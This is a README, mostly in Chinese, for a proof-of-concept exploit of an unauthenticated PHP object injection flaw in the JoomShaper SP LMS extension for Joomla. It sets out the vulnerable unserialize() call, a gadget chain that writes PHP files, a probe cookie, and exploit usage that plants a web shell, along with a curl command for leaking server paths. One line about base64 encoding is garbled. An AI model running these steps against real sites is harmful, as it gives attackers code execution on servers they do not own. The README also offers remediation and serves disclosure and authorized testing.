
Proof-of-concept exploit for CVE-2026-48909: unauthenticated remote code execution via PHP object injection in JoomShaper SP LMS. Includes detection, exploitation, and remediation guidance.
未认证远程代码执行 —— 通过JoomShaper SP LMS (com_splms) ≤ 4.1.3 for Joomla CMS中的PHP对象注入实现。
作者: Amin İsayev / Proxima Cyber Security
SP LMS 是JoomShaper开发的一款流行的Joomla学习管理系统扩展,拥有超过10万次安装。版本≤ 4.1.3将 lmsOrders cookie 直接传递给 unserialize() 且未做任何验证,使得未认证攻击者能够注入恶意PHP对象,并通过Joomla的原生gadget链实现远程代码执行。
components/com_splms/models/cart.php 第28行:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← 不可信用户输入
lmsOrders cookie 经过 base64 解码后直接传递给 unserialize()。攻击者可以完全控制反序列化的对象。
Joomla 的 FormattedtextLogger 类提供了 gadget:
lmsOrders cookie (攻击者控制)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [Joomla gadget]
└─► initFile() → File::write($path, $format)
└─► PHP代码写入磁盘 → RCE
注意: RCE 需要在 Joomla < 5.2.2 的环境下实现。
Joomla 5.2.2 修补了FormattedtextLogger.__wakeup()(参见 PR #44428)。
在所有 Joomla 版本上,com_splms ≤ 4.1.3 中仍然存在 PHP 对象注入漏洞。
Joomla 的 Input\Cookie::get() 默认应用 cmd 过滤器,会去除 cookie 值中的 +、/ 和 = —— 这些字符出现在标准 base64 中。利用方法使用:
$, _, {, }, \n)= 填充)/ 和 +python3 CVE-2026-48909.py https://target.com
[*] 目标 : https://target.com
[*] 路径 : /index.php?option=com_splms&view=cart
[*] 探测 : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[存在漏洞] 探测时返回HTTP 500而正常请求返回200 —— cookie上的unserialize()被调用
[!] 请立即更新SP LMS到 >= 4.1.4。
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Shell 地址:
https://target.com/tmp/x.php?c=id
查找服务器路径(如果未知):
# cPanel虚拟主机 —— 路径从Joomla错误页面泄露
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# 常见尝试路径:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders cookie:// 不要对用户可控数据使用 unserialize()
// 请改用 json_encode/json_decode
$cartItems = json_decode(base64_decode($raw), true) ?? [];
本工具仅供教育目的和授权安全测试使用。
作者不对任何滥用或由此程序造成的损害负责。
请勿对您不拥有或未获得明确书面许可的系统使用此工具。
Amin İsayev / Proxima Cyber Security — 2026
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| 受影响版本 | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| 修复版本 | SP LMS ≥ 4.1.4 |
| Joomla要求 | < 5.2.2(gadget链在5.2.2中已修补) |
| CVSS 4.0 | 9.5 严重 — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502:不可信数据的反序列化 |
| 需要认证 | 无 |
| 披露日期 | 2026-05-26 |
| 发布日期 | 2026-06-20 |